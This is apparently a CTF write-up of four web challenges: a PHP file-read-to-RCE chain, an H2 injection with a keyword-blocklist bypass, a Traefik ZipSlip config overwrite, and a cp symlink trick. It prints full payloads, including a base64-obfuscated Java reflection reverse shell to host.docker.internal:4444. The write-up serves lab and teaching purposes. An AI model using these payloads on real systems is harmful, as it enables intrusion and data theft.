N1Junior

news/2025/2/13 15:43:25/文章来源:https://www.cnblogs.com/meraklbz/p/18713744

Gavatar

核心逻辑如下:
upload.php

<?php
require_once 'common.php';$user = getCurrentUser();
if (!$user) header('Location: index.php');$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);$avatarPath = "$avatarDir/{$user['id']}";if (!empty($_FILES['avatar']['tmp_name'])) {$finfo = new finfo(FILEINFO_MIME_TYPE);if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {die('Invalid file type');}move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {$image = @file_get_contents($_POST['url']);if ($image === false) die('Invalid URL');file_put_contents($avatarPath, $image);
}header('Location: profile.php');

可以看到文件上传的途径一共有两条,一种是上传本地文件,一种是读取外部文件.然而在读取外部文件的时候出现错误,使用file_get_contents去读取未经验证的url参数,构成了文件读取漏洞.
/avatar.php中可以通过get传参?user=用户名去查看读取的文件,因此构成了任意文件读取漏洞.
然而在给出的源码存在提示,需要RCE去执行命令,因此想到了iconv攻击.修改的Remote类如下:

class Remote:"""A helper class to send the payload and download files.The logic of the exploit is always the same, but the exploit needs to know how todownload files (/proc/self/maps and libc) and how to send the payload.The code here serves as an example that attacks a page that looks like:```php<?php$data = file_get_contents($_POST['file']);echo "File contents: $data";```Tweak it to fit your target, and start the exploit."""def __init__(self, url: str) -> None:self.url = urlself.upload_url = url + "/upload.php"self.avatar_url = url + "/avatar.php?user=admin"self.session = Session()cookies = {"PHPSESSID": "88fe4496c51624869b3cf365d24cc47c"}self.session.cookies.update(cookies)def send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""data = {'url': path}files = {'avatar': ('', '', 'application/octet-stream')}self.session.post(self.upload_url, data=data, files=files)return self.session.get(self.avatar_url)def download(self, path: str) -> bytes:"""Returns the contents of a remote file."""path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)return base64.decode(response.text)

这里再重新记录一下三个函数的作用:init对session和url进行初始化,send是发出读文件的请求,最后需要返回一个带有读到的文件的response给download函数.download函数将文件内容返回.注意必须是文件内容,如果读文件时有其他多余的字符,则需要正则过滤掉.
poc的其他部分不需要进行修改.
image

写马蚁剑连接即可.

EasyDB

这题考察点是H2注入.先来看一下注入点:

public boolean validateUser(String username, String password) throws SQLException {String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);if (!SecurityUtils.check(query)) {return false;}try (Statement stmt = connection.createStatement()) {stmt.executeQuery(query);try (ResultSet resultSet = stmt.getResultSet()) {return resultSet.next();}}
}

可以看到使用format去进行了字符串拼接,构成了H2注入漏洞.
正常的H2执行命令语句如下:

CREATE ALIAS hello AS $$ String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec("calc");return null;}$$;CALL EXEC ();

但是这里的问题在于题目使用 challenge.SecurityUtils#check 进行了黑名单过滤

public class SecurityUtils {private static final HashSet<String> blackLists = new HashSet<>();static {blackLists.add("runtime");blackLists.add("process");blackLists.add("exec");blackLists.add("shell");blackLists.add("file");blackLists.add("script");blackLists.add("groovy");}public static boolean check(String sql) {for (String keyword : blackLists) {if (sql.toLowerCase().contains(keyword)) {return false;}}return true;}
}

我们需要绕过上面的过滤才能实现 RCE
上面的过滤可以利用 Java 反射机制实现绕过,参考代码如下

Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="))); // java.lang.Runtime
java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ=="))); // getRuntime
Object o = m1.invoke(null);
java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class); // exec
m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE="))}}); // bash -i >& /dev/tcp/host.docker.internal/4444 0>&1

最终的 payload 如下, 注意需要对+号进行URL编码(非常重要,但是没好使应该是因为这个)

';CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE="))}});return null; }$$; CALL hello();--

反弹shell后执行/readflag命令拿到flag

traefik

main.go:

package mainimport ("archive/zip""fmt""io""net/http""os""path/filepath""strings""github.com/gin-gonic/gin""github.com/google/uuid"
)const uploadDir = "./uploads"func unzipSimpleFile(file *zip.File, filePath string) error {outFile, err := os.Create(filePath)if err != nil {return err}defer outFile.Close()fileInArchive, err := file.Open()if err != nil {return err}defer fileInArchive.Close()_, err = io.Copy(outFile, fileInArchive)if err != nil {return err}return nil
}func unzipFile(zipPath, destDir string) error {zipReader, err := zip.OpenReader(zipPath)if err != nil {return err}defer zipReader.Close()for _, file := range zipReader.File {filePath := filepath.Join(destDir, file.Name)if file.FileInfo().IsDir() {if err := os.MkdirAll(filePath, file.Mode()); err != nil {return err}} else {err = unzipSimpleFile(file, filePath)if err != nil {return err}}}return nil
}func randFileName() string {return uuid.New().String()
}func main() {r := gin.Default()r.LoadHTMLGlob("templates/*")r.GET("/flag", func(c *gin.Context) {xForwardedFor := c.GetHeader("X-Forwarded-For")if !strings.Contains(xForwardedFor, "127.0.0.1") {c.JSON(400, gin.H{"error": "only localhost can get flag"})return}flag := os.Getenv("FLAG")if flag == "" {flag = "flag{testflag}"}c.String(http.StatusOK, flag)})r.GET("/public/index", func(c *gin.Context) {c.HTML(http.StatusOK, "index.html", nil)})r.POST("/public/upload", func(c *gin.Context) {file, err := c.FormFile("file")if err != nil {c.JSON(400, gin.H{"error": "File upload failed"})return}randomFolder := randFileName()destDir := filepath.Join(uploadDir, randomFolder)if err := os.MkdirAll(destDir, 0755); err != nil {c.JSON(500, gin.H{"error": "Failed to create directory"})return}zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")if err := c.SaveUploadedFile(file, zipFilePath); err != nil {c.JSON(500, gin.H{"error": "Failed to save uploaded file"})return}if err := unzipFile(zipFilePath, destDir); err != nil {c.JSON(500, gin.H{"error": "Failed to unzip file"})return}c.JSON(200, gin.H{"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),})})r.Run(":8080")
}

可以看到是有ZipSlip漏洞的,同时存在/flag路由,如果可以ssrf的话就能够得到flag.
那么接下来就是去找文件覆盖的洞.traefik是一款反向代理工具,我们在conf目录下找到了dynamic.yml配置文件如下:

# Dynamic configurationhttp:services:proxy:loadBalancer:servers:- url: "http://127.0.0.1:8080"routers:index:rule: Path(`/public/index`)entrypoints: [web]service: proxyupload:rule: Path(`/public/upload`)entrypoints: [web]service: proxy

可以将其覆盖,配置新的/flag路由,同时添加组件实现ssrf

# Dynamic configurationhttp:services:proxy:loadBalancer:servers:- url: "http://127.0.0.1:8080"middlewares:add-x-forwarded-for:headers:customRequestHeaders:X-Forwarded-For: "127.0.0.1"routers:index:rule: Path(`/public/index`)entrypoints: [web]service: proxyupload:rule: Path(`/public/upload`)entrypoints: [web]service: proxyflag:rule: Path(`/flag`)entrypoints: [web]service: proxymiddlewares:- add-x-forwarded-for

比赛时没做出来,因为传的yml文件中没配置x-forwarded-formiddlewares

backup

在源码的最下面存在注释:

$cmd = $_REQUEST["__2025.happy.new.year"]

可以通过传参_[2025.happy.new.year去进行弹shell
拿到shell以后找不到提权,发现根目录下有backup.sh,查看如下:

#!/bin/bash
cd /var/www/html/primary
while :
docp -P * /var/www/html/backup/chmod 755 -R /var/www/html/backup/sleep 15s

那我们就首先想到了软链接.然而就有个问题,一般的cp -P并不会带出来软链接的文件,需要有-H参数才行.
这里就要去打一个命令注入.在primary目录下去创建一个文件名位-H,然后再去创建一个软链接.

ln -s /flag flag

15秒后去backup目录查看flag.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/883256.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件自启动取消权限弹窗询问设置

方案1:创建任务计划--启动软件取消UAC权限询问弹窗 1.1 打开任务计划 右键“我的电脑”--“管理”,打开任务计划,如图所示1.2 创建任务计划1.2.1 常规参数设置1.2.2 触发器设置1.2.3 操作设置最后按确定即可完成任务计划创建,至此电脑重启登陆后,软件都会自动启动 方案2:…

hgame 第一周

hgame 第一周Pacman 前端反调试题,找到了一个串.aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=.base64解码后百思不得其解,后来发现还有一个栅栏加密,纯烂活... hgame{u_4re_pacman_m4ster} BandBomb const express = require(express); const multer = require(multer); const fs = r…

Deepseek学习随笔(2)--- 快速上手DeepSeek

注册与登录 要开始使用 DeepSeek,你需要先注册一个账号。以下是具体步骤:访问 DeepSeek 官网。 使用邮箱或手机号注册账号。 登录后进入控制台,开始使用。控制台功能介绍 DeepSeek 的控制台提供了丰富的功能,帮助你更好地使用工具:对话窗口:在这里输入你的问题或指令,De…

【原创】大数据治理入门(4)《保护数据隐私:大数据治理的最佳实践》入门必看 高赞实用

在大数据治理中,保护数据隐私是至关重要的。通过了解和遵守相关法规,采用数据脱敏、匿名化和隐私计算等技术手段,企业可以有效降低数据隐私泄露的风险,提升用户的信任度和企业的竞争力。希望本文能够为您提供全面的数据隐私保护指南。保护数据隐私:大数据治理的最佳实践 引…

【原创】大数据治理入门(1)《大数据治理入门:为什么重要?》入门必看 高赞实用

随着互联网的快速发展,数据的生成和积累速度达到了前所未有的水平。大数据通常被定义为规模巨大、类型多样且生成速度快的数据集合。这些数据不仅包括结构化数据(如数据库中的表格数据),还包括非结构化数据(如文本、图片、视频等)。大数据的重要性在于其能够帮助企业更好…

【MySQL安全】复现Mysql LOAD DATA 读取客户端任意文件漏洞

前言 MySQL 客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客户端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成,那么当它发送完第一个请求过后并不会存储这个请求,而是直接丢弃,所以第二步就是根据…

线程/进程

进程 1.是资源分配的基本单元 2.拥有独立的内存空间和资源 3.开销较大 4.稳定性高,一个进程的崩溃不会影响其他的进程 线程 1.是cpu调度的基本单元 2.共享进程的资源 3.开销较小 4.稳定性不高,一个线程崩溃可能会导致其他线程的崩溃当我们写完一个线程之后可以通过idea的安装…

nginx代理grafana配置

配置grafna的nginx代理配置环境背景:监控系统用的是Prometheus+altermanager+grafana+xxx-exporter实现的,现在业界内的夜莺监控系统已经非常的成熟了,使用夜莺管理配置监控相对比Prometheus+altermanager要友好很多,使用也方便,直接页面配置就好。但是相对图表化的监控信…

IPD流程管理之市场需求精准把握方法

IPD(Integrated Product Development)流程管理旨在通过整合产品开发的各个环节,实现高效、高质量的产品交付。在这一过程中,精准把握市场需求是成功的关键。只有深入了解市场需求,企业才能开发出符合客户期望的产品,从而在激烈的市场竞争中占据优势。本文将详细探讨IPD流…

VSCode 搭建 MySQL 源码调试环境

在使用MySQL数据库的过程中,如果遇到一些复杂的问题,可以通过GDB进行调试,本篇将演示如何在Win 10环境基于VSCode搭建MySQL源码调试环境。 一、调试环境 本次调试需要用到的软件和环境为:Red Hat Enterprise Linux release 8.10 (Ootpa) MySQL 8.0.40 VSCode 1.96.4二、编译…

MAC鼠标滚轮反向问题

找系统设置中 --》鼠标--〉关闭自然滚动设置博客园地址:https://www.cnblogs.com/lixiuming521125/

开发者福音!TinyEngine服务端Java版本正式开源

本次 TinyEngine 低代码引擎服务端 Java 版本代码的开源,让开发者能够深入了解 TinyEngine 低代码引擎的前后端运行机制。摘要:本次 TinyEngine 低代码引擎服务端 Java 版本代码的开源,让开发者能够深入了解 TinyEngine 低代码引擎的前后端运行机制。本文分享自华为云社区《…